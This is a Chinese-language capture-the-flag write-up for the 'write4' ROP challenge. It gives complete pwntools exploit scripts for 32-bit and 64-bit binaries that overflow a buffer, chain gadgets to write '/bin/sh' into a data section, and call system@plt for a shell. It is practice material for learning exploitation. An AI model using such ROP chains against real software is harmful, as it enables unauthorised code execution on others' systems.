1.观察有没有system
没有/bin/sh
,我们可以尝试想bss
或者date
段写入/bin/sh.
,使用plt
表的system
2.mov [edi], ebp
-MOV 内存单元 寄存器
寄存器ESI
、EDI
、SI
和DI
称为变址寄存器(Index Register)
,它们主要用于存放存储单元在段内的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。
32
# -*- coding:UTF-8 -*-
from pwn import*
##context.log_level = 'debug'
p = process("./write432")
##p = remote("","")
date_addr = 0x804A028
system_elf_addr = 0x8048430
move_edi_ebp_addr = 0x8048670
pop_edi_ebp_addr = 0x80486da
payload = 'A'*0x2c
payload += p32(pop_edi_ebp_addr) + p32(date_addr) + "/bin" + p32(move_edi_ebp_addr)
payload += p32(pop_edi_ebp_addr) + p32(date_addr+4) + "/sh\x00" + p32(move_edi_ebp_addr)
payload += p32(system_elf_addr) + p32(0) + p32(date_addr)
p.sendline(payload)
p.interactive()
首先我们是发现了 溢出的漏洞 我们没有可以利用sysytem入口 也没有/bin/sh的字符串。
只有system_plt的地址 我们需要传入/bin/sh让我们利用,
将利用godget片段 传入edi>然后跳转到edi利用,
我们需要一个介质来装载/bin/sh 就是我们的date_addr
#p32(0) 是用来覆盖rbp的地址 (自己有疑惑)
这道题填入和调用没什么大问题,最关键的要记住,64
位的数据不是直接传入栈里面的,我们需要一个pop来将我们的system和/bin/sh的地址接收。
64
from pwn import*
##context.log_level = 'debug'
p = process("./write4")
##p = remote("","")
date_addr = 0x601050
system_plt_addr = 0x4005e0
pop_r14_r15_addr = 0x400890
mov_r14_r15_addr = 0x400820
pop_edi_addr = 0x400893
payload = 'A' * 0x20 + p64(0)
payload += p64(pop_r14_r15_addr)
payload += p64(date_addr)
payload += "/bin/sh"
payload += p64(mov_r14_r15_addr)
payload += p64(pop_edi_addr)
payload += p64(date_addr)
payload += p64(system_plt_addr)
p.sendline(payload)
p.interactive()